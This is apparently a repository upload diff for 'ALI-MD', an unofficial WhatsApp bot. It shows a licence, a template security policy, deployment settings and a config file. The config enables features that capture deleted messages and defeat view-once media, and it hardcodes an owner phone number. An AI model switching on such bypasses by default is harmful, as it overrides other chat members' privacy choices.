Upload 140 files
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- .gitignore +1 -0
- LICENSE +201 -0
- SECURITY.md +21 -0
- app.json +204 -0
- command.js +22 -0
- config.js +91 -0
- data/antidel.js +88 -0
- data/autoreply.json +11 -0
- data/autosticker.json +7 -0
- data/autovoice.json +32 -0
- data/converter.js +91 -0
- data/index.js +36 -0
- data/store.js +217 -0
- data/updateDB.js +52 -0
- heroku.yml +7 -0
- index.js +1 -0
- koyeb.yaml +17 -0
- lib/antidel.js +89 -0
- lib/database.js +43 -0
- lib/emix-utils.js +29 -0
- lib/fetchGif.js +61 -0
- lib/functions.js +95 -0
- lib/functions2.js +167 -0
- lib/groupevents.js +1 -0
- lib/index.js +30 -0
- lib/msg.js +258 -0
- lib/msg2.js +133 -0
- lib/sticker-utils.js +76 -0
- lib/video-utils.js +56 -0
- package.json +130 -0
- plugins/.ai.js +208 -0
- plugins/README.md +9 -0
- plugins/action-verite.js +52 -0
- plugins/ai-analyse.js +3 -0
- plugins/ali-version.js +93 -0
- plugins/alive.js +72 -0
- plugins/alive2.js +22 -0
- plugins/anime.js +30 -0
- plugins/animegirl.js +145 -0
- plugins/antilink.js +1 -0
- plugins/block-upblock.js +79 -0
- plugins/check-code.js +50 -0
- plugins/checkupdate.js +1 -0
- plugins/cmdupdate.js +58 -0
- plugins/convertr.js +1 -0
- plugins/couplepp.js +4 -0
- plugins/currency.js +70 -0
- plugins/darama+music.js +106 -0
- plugins/define.js +44 -0
- plugins/del.js +1 -0
.gitignore
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
node_modules
|
LICENSE
ADDED
@@ -0,0 +1,201 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
Apache License
|
2 |
+
Version 2.0, January 2004
|
3 |
+
http://www.apache.org/licenses/
|
4 |
+
|
5 |
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
6 |
+
|
7 |
+
1. Definitions.
|
8 |
+
|
9 |
+
"License" shall mean the terms and conditions for use, reproduction,
|
10 |
+
and distribution as defined by Sections 1 through 9 of this document.
|
11 |
+
|
12 |
+
"Licensor" shall mean the copyright owner or entity authorized by
|
13 |
+
the copyright owner that is granting the License.
|
14 |
+
|
15 |
+
"Legal Entity" shall mean the union of the acting entity and all
|
16 |
+
other entities that control, are controlled by, or are under common
|
17 |
+
control with that entity. For the purposes of this definition,
|
18 |
+
"control" means (i) the power, direct or indirect, to cause the
|
19 |
+
direction or management of such entity, whether by contract or
|
20 |
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
21 |
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
22 |
+
|
23 |
+
"You" (or "Your") shall mean an individual or Legal Entity
|
24 |
+
exercising permissions granted by this License.
|
25 |
+
|
26 |
+
"Source" form shall mean the preferred form for making modifications,
|
27 |
+
including but not limited to software source code, documentation
|
28 |
+
source, and configuration files.
|
29 |
+
|
30 |
+
"Object" form shall mean any form resulting from mechanical
|
31 |
+
transformation or translation of a Source form, including but
|
32 |
+
not limited to compiled object code, generated documentation,
|
33 |
+
and conversions to other media types.
|
34 |
+
|
35 |
+
"Work" shall mean the work of authorship, whether in Source or
|
36 |
+
Object form, made available under the License, as indicated by a
|
37 |
+
copyright notice that is included in or attached to the work
|
38 |
+
(an example is provided in the Appendix below).
|
39 |
+
|
40 |
+
"Derivative Works" shall mean any work, whether in Source or Object
|
41 |
+
form, that is based on (or derived from) the Work and for which the
|
42 |
+
editorial revisions, annotations, elaborations, or other modifications
|
43 |
+
represent, as a whole, an original work of authorship. For the purposes
|
44 |
+
of this License, Derivative Works shall not include works that remain
|
45 |
+
separable from, or merely link (or bind by name) to the interfaces of,
|
46 |
+
the Work and Derivative Works thereof.
|
47 |
+
|
48 |
+
"Contribution" shall mean any work of authorship, including
|
49 |
+
the original version of the Work and any modifications or additions
|
50 |
+
to that Work or Derivative Works thereof, that is intentionally
|
51 |
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
52 |
+
or by an individual or Legal Entity authorized to submit on behalf of
|
53 |
+
the copyright owner. For the purposes of this definition, "submitted"
|
54 |
+
means any form of electronic, verbal, or written communication sent
|
55 |
+
to the Licensor or its representatives, including but not limited to
|
56 |
+
communication on electronic mailing lists, source code control systems,
|
57 |
+
and issue tracking systems that are managed by, or on behalf of, the
|
58 |
+
Licensor for the purpose of discussing and improving the Work, but
|
59 |
+
excluding communication that is conspicuously marked or otherwise
|
60 |
+
designated in writing by the copyright owner as "Not a Contribution."
|
61 |
+
|
62 |
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
63 |
+
on behalf of whom a Contribution has been received by Licensor and
|
64 |
+
subsequently incorporated within the Work.
|
65 |
+
|
66 |
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
67 |
+
this License, each Contributor hereby grants to You a perpetual,
|
68 |
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
69 |
+
copyright license to reproduce, prepare Derivative Works of,
|
70 |
+
publicly display, publicly perform, sublicense, and distribute the
|
71 |
+
Work and such Derivative Works in Source or Object form.
|
72 |
+
|
73 |
+
3. Grant of Patent License. Subject to the terms and conditions of
|
74 |
+
this License, each Contributor hereby grants to You a perpetual,
|
75 |
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
76 |
+
(except as stated in this section) patent license to make, have made,
|
77 |
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
78 |
+
where such license applies only to those patent claims licensable
|
79 |
+
by such Contributor that are necessarily infringed by their
|
80 |
+
Contribution(s) alone or by combination of their Contribution(s)
|
81 |
+
with the Work to which such Contribution(s) was submitted. If You
|
82 |
+
institute patent litigation against any entity (including a
|
83 |
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
84 |
+
or a Contribution incorporated within the Work constitutes direct
|
85 |
+
or contributory patent infringement, then any patent licenses
|
86 |
+
granted to You under this License for that Work shall terminate
|
87 |
+
as of the date such litigation is filed.
|
88 |
+
|
89 |
+
4. Redistribution. You may reproduce and distribute copies of the
|
90 |
+
Work or Derivative Works thereof in any medium, with or without
|
91 |
+
modifications, and in Source or Object form, provided that You
|
92 |
+
meet the following conditions:
|
93 |
+
|
94 |
+
(a) You must give any other recipients of the Work or
|
95 |
+
Derivative Works a copy of this License; and
|
96 |
+
|
97 |
+
(b) You must cause any modified files to carry prominent notices
|
98 |
+
stating that You changed the files; and
|
99 |
+
|
100 |
+
(c) You must retain, in the Source form of any Derivative Works
|
101 |
+
that You distribute, all copyright, patent, trademark, and
|
102 |
+
attribution notices from the Source form of the Work,
|
103 |
+
excluding those notices that do not pertain to any part of
|
104 |
+
the Derivative Works; and
|
105 |
+
|
106 |
+
(d) If the Work includes a "NOTICE" text file as part of its
|
107 |
+
distribution, then any Derivative Works that You distribute must
|
108 |
+
include a readable copy of the attribution notices contained
|
109 |
+
within such NOTICE file, excluding those notices that do not
|
110 |
+
pertain to any part of the Derivative Works, in at least one
|
111 |
+
of the following places: within a NOTICE text file distributed
|
112 |
+
as part of the Derivative Works; within the Source form or
|
113 |
+
documentation, if provided along with the Derivative Works; or,
|
114 |
+
within a display generated by the Derivative Works, if and
|
115 |
+
wherever such third-party notices normally appear. The contents
|
116 |
+
of the NOTICE file are for informational purposes only and
|
117 |
+
do not modify the License. You may add Your own attribution
|
118 |
+
notices within Derivative Works that You distribute, alongside
|
119 |
+
or as an addendum to the NOTICE text from the Work, provided
|
120 |
+
that such additional attribution notices cannot be construed
|
121 |
+
as modifying the License.
|
122 |
+
|
123 |
+
You may add Your own copyright statement to Your modifications and
|
124 |
+
may provide additional or different license terms and conditions
|
125 |
+
for use, reproduction, or distribution of Your modifications, or
|
126 |
+
for any such Derivative Works as a whole, provided Your use,
|
127 |
+
reproduction, and distribution of the Work otherwise complies with
|
128 |
+
the conditions stated in this License.
|
129 |
+
|
130 |
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
131 |
+
any Contribution intentionally submitted for inclusion in the Work
|
132 |
+
by You to the Licensor shall be under the terms and conditions of
|
133 |
+
this License, without any additional terms or conditions.
|
134 |
+
Notwithstanding the above, nothing herein shall supersede or modify
|
135 |
+
the terms of any separate license agreement you may have executed
|
136 |
+
with Licensor regarding such Contributions.
|
137 |
+
|
138 |
+
6. Trademarks. This License does not grant permission to use the trade
|
139 |
+
names, trademarks, service marks, or product names of the Licensor,
|
140 |
+
except as required for reasonable and customary use in describing the
|
141 |
+
origin of the Work and reproducing the content of the NOTICE file.
|
142 |
+
|
143 |
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
144 |
+
agreed to in writing, Licensor provides the Work (and each
|
145 |
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
146 |
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
147 |
+
implied, including, without limitation, any warranties or conditions
|
148 |
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
149 |
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
150 |
+
appropriateness of using or redistributing the Work and assume any
|
151 |
+
risks associated with Your exercise of permissions under this License.
|
152 |
+
|
153 |
+
8. Limitation of Liability. In no event and under no legal theory,
|
154 |
+
whether in tort (including negligence), contract, or otherwise,
|
155 |
+
unless required by applicable law (such as deliberate and grossly
|
156 |
+
negligent acts) or agreed to in writing, shall any Contributor be
|
157 |
+
liable to You for damages, including any direct, indirect, special,
|
158 |
+
incidental, or consequential damages of any character arising as a
|
159 |
+
result of this License or out of the use or inability to use the
|
160 |
+
Work (including but not limited to damages for loss of goodwill,
|
161 |
+
work stoppage, computer failure or malfunction, or any and all
|
162 |
+
other commercial damages or losses), even if such Contributor
|
163 |
+
has been advised of the possibility of such damages.
|
164 |
+
|
165 |
+
9. Accepting Warranty or Additional Liability. While redistributing
|
166 |
+
the Work or Derivative Works thereof, You may choose to offer,
|
167 |
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
168 |
+
or other liability obligations and/or rights consistent with this
|
169 |
+
License. However, in accepting such obligations, You may act only
|
170 |
+
on Your own behalf and on Your sole responsibility, not on behalf
|
171 |
+
of any other Contributor, and only if You agree to indemnify,
|
172 |
+
defend, and hold each Contributor harmless for any liability
|
173 |
+
incurred by, or claims asserted against, such Contributor by reason
|
174 |
+
of your accepting any such warranty or additional liability.
|
175 |
+
|
176 |
+
END OF TERMS AND CONDITIONS
|
177 |
+
|
178 |
+
APPENDIX: How to apply the Apache License to your work.
|
179 |
+
|
180 |
+
To apply the Apache License to your work, attach the following
|
181 |
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
182 |
+
replaced with your own identifying information. (Don't include
|
183 |
+
the brackets!) The text should be enclosed in the appropriate
|
184 |
+
comment syntax for the file format. We also recommend that a
|
185 |
+
file or class name and description of purpose be included on the
|
186 |
+
same "printed page" as the copyright notice for easier
|
187 |
+
identification within third-party archives.
|
188 |
+
|
189 |
+
Copyright [yyyy] [name of copyright owner]
|
190 |
+
|
191 |
+
Licensed under the Apache License, Version 2.0 (the "License");
|
192 |
+
you may not use this file except in compliance with the License.
|
193 |
+
You may obtain a copy of the License at
|
194 |
+
|
195 |
+
http://www.apache.org/licenses/LICENSE-2.0
|
196 |
+
|
197 |
+
Unless required by applicable law or agreed to in writing, software
|
198 |
+
distributed under the License is distributed on an "AS IS" BASIS,
|
199 |
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
200 |
+
See the License for the specific language governing permissions and
|
201 |
+
limitations under the License.
|
SECURITY.md
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# Security Policy
|
2 |
+
|
3 |
+
## Supported Versions
|
4 |
+
|
5 |
+
Use this section to tell people about which versions of your project are
|
6 |
+
currently being supported with security updates.
|
7 |
+
|
8 |
+
| Version | Supported |
|
9 |
+
| ------- | ------------------ |
|
10 |
+
| 5.1.x | :white_check_mark: |
|
11 |
+
| 5.0.x | :x: |
|
12 |
+
| 4.0.x | :white_check_mark: |
|
13 |
+
| < 4.0 | :x: |
|
14 |
+
|
15 |
+
## Reporting a Vulnerability
|
16 |
+
|
17 |
+
Use this section to tell people how to report a vulnerability.
|
18 |
+
|
19 |
+
Tell them where to go, how often they can expect to get an update on a
|
20 |
+
reported vulnerability, what to expect if the vulnerability is accepted or
|
21 |
+
declined, etc.
|
app.json
ADDED
@@ -0,0 +1,204 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name": "ALI-MD",
|
3 |
+
"description": "Javascript WhatsApp bot made by ali",
|
4 |
+
"logo": "https://files.catbox.moe/6ku0eo.jpg",
|
5 |
+
"keywords": ["ALI-MD"],
|
6 |
+
"success_url": "/",
|
7 |
+
|
8 |
+
"stack": "container",
|
9 |
+
"env": {
|
10 |
+
"SESSION_ID": {
|
11 |
+
"description": "Put the session-id here.",
|
12 |
+
"required": true,
|
13 |
+
"value": ""
|
14 |
+
},
|
15 |
+
|
16 |
+
"ANTI_CALL": {
|
17 |
+
"description": "Make it true if you want bot auto call rejected.",
|
18 |
+
"required": false,
|
19 |
+
"value": "false"
|
20 |
+
|
21 |
+
},
|
22 |
+
|
23 |
+
"STICKER_NAME": {
|
24 |
+
"description": "type your sticker pack name.",
|
25 |
+
"required": false,
|
26 |
+
"value": "𓆩ု᪳𝐀ɭīī 𝐌Ɗှ᪳𓆪"
|
27 |
+
},
|
28 |
+
|
29 |
+
"PREFIX": {
|
30 |
+
"description": "paste your bot prefix note! Don't apply null prefix.",
|
31 |
+
"required": false,
|
32 |
+
"value": "."
|
33 |
+
},
|
34 |
+
|
35 |
+
"MODE": {
|
36 |
+
"description": "select your bot work type public-private-inbox-group.",
|
37 |
+
"required": true,
|
38 |
+
"value": "public"
|
39 |
+
|
40 |
+
},
|
41 |
+
|
42 |
+
"ALWAYS_ONLINE": {
|
43 |
+
"description": "Make it true if want always online.",
|
44 |
+
"required": false,
|
45 |
+
"value": "false"
|
46 |
+
},
|
47 |
+
|
48 |
+
"AUTO_VOICE": {
|
49 |
+
"description": "Make it true if want automatic voice reply .",
|
50 |
+
"required": false,
|
51 |
+
"value": "false"
|
52 |
+
},
|
53 |
+
|
54 |
+
"AUTO_REPLY": {
|
55 |
+
"description": "Make it true if you want automatic reply.",
|
56 |
+
"required": false,
|
57 |
+
"value": "false"
|
58 |
+
},
|
59 |
+
|
60 |
+
"ADMIN_STATUS": {
|
61 |
+
"description": "make it true if want know who promote or demote a member .",
|
62 |
+
"required": false,
|
63 |
+
"value": "false"
|
64 |
+
},
|
65 |
+
|
66 |
+
"WELCOME": {
|
67 |
+
"description": "make it true if want welcome message in groups.",
|
68 |
+
"required": false,
|
69 |
+
"value": "true"
|
70 |
+
},
|
71 |
+
|
72 |
+
"GOODBYE": {
|
73 |
+
"description": "make it true if want goodbye message in groups.",
|
74 |
+
"required": false,
|
75 |
+
"value": "false"
|
76 |
+
},
|
77 |
+
|
78 |
+
"AUTO_STICKER": {
|
79 |
+
"description": "Make it true if you want automatic sticker.",
|
80 |
+
"required": false,
|
81 |
+
"value": "false"
|
82 |
+
},
|
83 |
+
|
84 |
+
"AUTO_STATUS_SEEN": {
|
85 |
+
"description": "Make it true for automatic status seen.",
|
86 |
+
"required": true,
|
87 |
+
"value": "true"
|
88 |
+
},
|
89 |
+
|
90 |
+
"MENTION_REPLY": {
|
91 |
+
"description": "make it true if want mention reply if someone menetion you.",
|
92 |
+
"required": false,
|
93 |
+
"value": "false"
|
94 |
+
},
|
95 |
+
|
96 |
+
"AUTO_STATUS_REACT": {
|
97 |
+
"description": "make it true for automatic status reaction or like.",
|
98 |
+
"required": true,
|
99 |
+
"value": "true"
|
100 |
+
},
|
101 |
+
|
102 |
+
"AUTO_STATUS_REPLY": {
|
103 |
+
"description": "Make it true for auto reply msg on status seen.",
|
104 |
+
"required": false,
|
105 |
+
"value": "false"
|
106 |
+
},
|
107 |
+
|
108 |
+
"AUTO_STATUS_MSG": {
|
109 |
+
"description": "Type custom message on status reply",
|
110 |
+
"required": true,
|
111 |
+
"value": "*SEEN YOUR STATUS JUST NOW ALI-MD 🍒*"
|
112 |
+
|
113 |
+
},
|
114 |
+
|
115 |
+
"BOT_NAME": {
|
116 |
+
"description": "Type here the bot name.",
|
117 |
+
"required": false,
|
118 |
+
"value": "𓆩ု᪳𝐀ɭīī 𝐌Ɗှ᪳𓆪"
|
119 |
+
|
120 |
+
},
|
121 |
+
|
122 |
+
"ALIVE_IMG": {
|
123 |
+
"description": "put here the bot Menu url if you don't have you can use this public url.",
|
124 |
+
"required": true,
|
125 |
+
"value": "https://files.catbox.moe/6ku0eo.jpg"
|
126 |
+
},
|
127 |
+
|
128 |
+
"DELETE_LINK": {
|
129 |
+
"description": "Make it true if you want bot auto delete group link.",
|
130 |
+
"required": false,
|
131 |
+
"value": "false"
|
132 |
+
},
|
133 |
+
|
134 |
+
"ANTI_LINK": {
|
135 |
+
"description": "Make it true if you want bot auto wearing group link.",
|
136 |
+
"required": false,
|
137 |
+
"value": "false"
|
138 |
+
},
|
139 |
+
|
140 |
+
"ANTI_BAD_WORD": {
|
141 |
+
"description": "Make it true if you want bot auto delete bad words.",
|
142 |
+
"required": false,
|
143 |
+
"value": "false"
|
144 |
+
},
|
145 |
+
|
146 |
+
"AUTO_RECORDING": {
|
147 |
+
"description": "Make it true if you want auto recoding.",
|
148 |
+
"required": false,
|
149 |
+
"value": "false"
|
150 |
+
},
|
151 |
+
|
152 |
+
"AUTO_TYPING": {
|
153 |
+
"description": "Make it true if you want auto typing.",
|
154 |
+
"required": false,
|
155 |
+
"value": "false"
|
156 |
+
},
|
157 |
+
|
158 |
+
"AUTO_REACT": {
|
159 |
+
"description": "Make it true if you want react on every message.",
|
160 |
+
"required": false,
|
161 |
+
"value": "false"
|
162 |
+
},
|
163 |
+
|
164 |
+
"OWNER_REACT": {
|
165 |
+
"description": "Make it true if you want react on bot number.",
|
166 |
+
"required": false,
|
167 |
+
"value": "false"
|
168 |
+
},
|
169 |
+
|
170 |
+
"CUSTOM_REACT": {
|
171 |
+
"description": "Make it true if you want custom reactions.",
|
172 |
+
"required": false,
|
173 |
+
"value": "false"
|
174 |
+
|
175 |
+
},
|
176 |
+
|
177 |
+
"CUSTOM_REACT_EMOJIS": {
|
178 |
+
"description": "put here custom react react emojis.",
|
179 |
+
"required": false,
|
180 |
+
"value": "💝,💖,💗,❤️🩹,❤️,🧡,💛,💚,💙,💜,🤎,🖤,🤍"
|
181 |
+
},
|
182 |
+
|
183 |
+
"ANTI_DEL_PATH": {
|
184 |
+
"description": "if you want true make it your bot number .antidelete on",
|
185 |
+
"required": false,
|
186 |
+
"value": "log"
|
187 |
+
},
|
188 |
+
|
189 |
+
"READ_MESSAGE": {
|
190 |
+
"description": "Make it true if you want bot read your all sms just now.",
|
191 |
+
"required": false,
|
192 |
+
"value": "false"
|
193 |
+
}
|
194 |
+
|
195 |
+
},
|
196 |
+
|
197 |
+
"buildpacks": [
|
198 |
+
{
|
199 |
+
"url": "https://github.com/heroku/heroku-buildpack-nodejs.git"
|
200 |
+
}
|
201 |
+
],
|
202 |
+
"stack": "heroku-24"
|
203 |
+
}
|
204 |
+
|
command.js
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
var commands = [];
|
2 |
+
|
3 |
+
function cmd(info, func) {
|
4 |
+
var data = info;
|
5 |
+
data.function = func;
|
6 |
+
if (!data.dontAddCommandList) data.dontAddCommandList = false;
|
7 |
+
if (!info.desc) info.desc = '';
|
8 |
+
if (!data.fromMe) data.fromMe = false;
|
9 |
+
if (!info.category) data.category = 'misc';
|
10 |
+
if(!info.filename) data.filename = "Not Provided";
|
11 |
+
commands.push(data);
|
12 |
+
return data;
|
13 |
+
}
|
14 |
+
module.exports = {
|
15 |
+
cmd,
|
16 |
+
AddCommand:cmd,
|
17 |
+
Function:cmd,
|
18 |
+
Module:cmd,
|
19 |
+
commands,
|
20 |
+
};
|
21 |
+
|
22 |
+
|
config.js
ADDED
@@ -0,0 +1,91 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const fs = require('fs');
|
2 |
+
if (fs.existsSync('config.env')) require('dotenv').config({ path: './config.env' });
|
3 |
+
|
4 |
+
function convertToBool(text, fault = 'true') {
|
5 |
+
return text === fault ? true : false;
|
6 |
+
}
|
7 |
+
module.exports = {
|
8 |
+
SESSION_ID: process.env.SESSION_ID || "",
|
9 |
+
// add your Session Id
|
10 |
+
AUTO_STATUS_SEEN: process.env.AUTO_STATUS_SEEN || "true",
|
11 |
+
// make true or false status auto seen
|
12 |
+
AUTO_STATUS_REPLY: process.env.AUTO_STATUS_REPLY || "true",
|
13 |
+
// make true if you want auto reply on status
|
14 |
+
AUTO_STATUS_REACT: process.env.AUTO_STATUS_REACT || "true",
|
15 |
+
// make true if you want auto reply on status
|
16 |
+
AUTO_STATUS_MSG: process.env.AUTO_STATUS_MSG || "*SEEN YOUR STATUS JUST NOW ALI-MD 👻*",
|
17 |
+
// set the auto reply massage on status reply
|
18 |
+
PREFIX: process.env.PREFIX || ".",
|
19 |
+
// add your prifix for bot
|
20 |
+
BOT_NAME: process.env.BOT_NAME || "ALI-MD",
|
21 |
+
// add bot namw here for menu
|
22 |
+
STICKER_NAME: process.env.STICKER_NAME || "ALI-MD",
|
23 |
+
// type sticker pack name
|
24 |
+
CUSTOM_REACT: process.env.CUSTOM_REACT || "false",
|
25 |
+
// make this true for custum emoji react
|
26 |
+
CUSTOM_REACT_EMOJIS: process.env.CUSTOM_REACT_EMOJIS || "💝,💖,💗,❤️🩹,❤️,🧡,💛,💚,💙,💜,🤎,🖤,🤍",
|
27 |
+
// chose custom react emojis by yourself
|
28 |
+
DELETE_LINKS: process.env.DELETE_LINKS || "false",
|
29 |
+
// automatic delete links witho remove member
|
30 |
+
OWNER_NUMBER: process.env.OWNER_NUMBER || "923003588997",
|
31 |
+
// add your bot owner number
|
32 |
+
OWNER_NAME: process.env.OWNER_NAME || "ALI",
|
33 |
+
// add bot owner name
|
34 |
+
OWNER_REACT: process.env.OWNER_REACT || "false",
|
35 |
+
// make this true or false for auto react on all msgs
|
36 |
+
WELCOME: process.env.WELCOME || "true",
|
37 |
+
// true if want welcome msg in groups
|
38 |
+
GOODBYE: process.env.GOODBYE || "true",
|
39 |
+
// true if want goodbye msg in groups
|
40 |
+
ADMIN_STATUS: process.env.ADMIN_STATUS || "false",
|
41 |
+
// make true to know who dismiss or promoted a member in group
|
42 |
+
ALWAYS_ONLINE: process.env.ALWAYS_ONLINE || "false",
|
43 |
+
// maks true for always online
|
44 |
+
MENTION_REPLY: process.env.MENTION_REPLY || "false",
|
45 |
+
// maks true for always online
|
46 |
+
ANTI_CALL: process.env.ANTI_CALL || "true",
|
47 |
+
//maks anticall true, false for calls
|
48 |
+
REJECT_MSG: process.env.REJECT_MSG || "*📞 ᴄαℓℓ ɴσт αℓℓσωє∂ ιɴ тнιѕ ɴᴜмвєʀ уσυ ∂σɴт нανє ᴘєʀмιѕѕισɴ 📵*",
|
49 |
+
// add anticall message
|
50 |
+
DESCRIPTION: process.env.DESCRIPTION || "*© ᴘσωєʀє∂ ву αℓι м∂⎯꯭̽💀*",
|
51 |
+
// add bot owner name
|
52 |
+
ALIVE_IMG: process.env.ALIVE_IMG || "https://cdn.ironman.my.id/i/2du3i5.jpg",
|
53 |
+
// add img for alive msg
|
54 |
+
LIVE_MSG: process.env.LIVE_MSG || "> HEY 👋 IM ALIVE NOW*⚡",
|
55 |
+
// add alive msg here
|
56 |
+
READ_MESSAGE: process.env.READ_MESSAGE || "false",
|
57 |
+
// Turn true or false for automatic read msgs
|
58 |
+
AUTO_REACT: process.env.AUTO_REACT || "false",
|
59 |
+
// make this true or false for auto react on all msgs
|
60 |
+
ANTI_BAD_WORD: process.env.ANTI_BAD_WORD || "true",
|
61 |
+
// false or true for anti bad words
|
62 |
+
MODE: process.env.MODE || "public",
|
63 |
+
// make bot public-private-inbox-group
|
64 |
+
DELETE_LINK: process.env.DELETE_LINK || "true",
|
65 |
+
// make anti link true,false for groups
|
66 |
+
ANTI_LINK: process.env.ANTI_LINK || "true",
|
67 |
+
// make anti link true,false for groups
|
68 |
+
AUTO_VOICE: process.env.AUTO_VOICE || "false",
|
69 |
+
// make true for send automatic voices
|
70 |
+
AUTO_STICKER: process.env.AUTO_STICKER || "false",
|
71 |
+
// make true for automatic stickers
|
72 |
+
AUTO_REPLY: process.env.AUTO_REPLY || "false",
|
73 |
+
// make true or false automatic text reply
|
74 |
+
ALWAYS_ONLINE: process.env.ALWAYS_ONLINE || "false",
|
75 |
+
// maks true for always online
|
76 |
+
PUBLIC_MODE: process.env.PUBLIC_MODE || "true",
|
77 |
+
// make false if want private mod
|
78 |
+
AUTO_TYPING: process.env.AUTO_TYPING || "false",
|
79 |
+
// true for automatic show typing
|
80 |
+
READ_CMD: process.env.READ_CMD || "false",
|
81 |
+
// true if want mark commands as read
|
82 |
+
DEV: process.env.DEV || "923003588997",
|
83 |
+
//replace with your whatsapp number
|
84 |
+
ANTI_VV: process.env.ANTI_VV || "true",
|
85 |
+
// true for anti once view
|
86 |
+
ANTI_DEL_PATH: process.env.ANTI_DEL_PATH || "log",
|
87 |
+
// change it to 'same' if you want to resend deleted message in same chat
|
88 |
+
AUTO_RECORDING: process.env.AUTO_RECORDING || "false"
|
89 |
+
// make it true for auto recoding
|
90 |
+
};
|
91 |
+
|
data/antidel.js
ADDED
@@ -0,0 +1,88 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
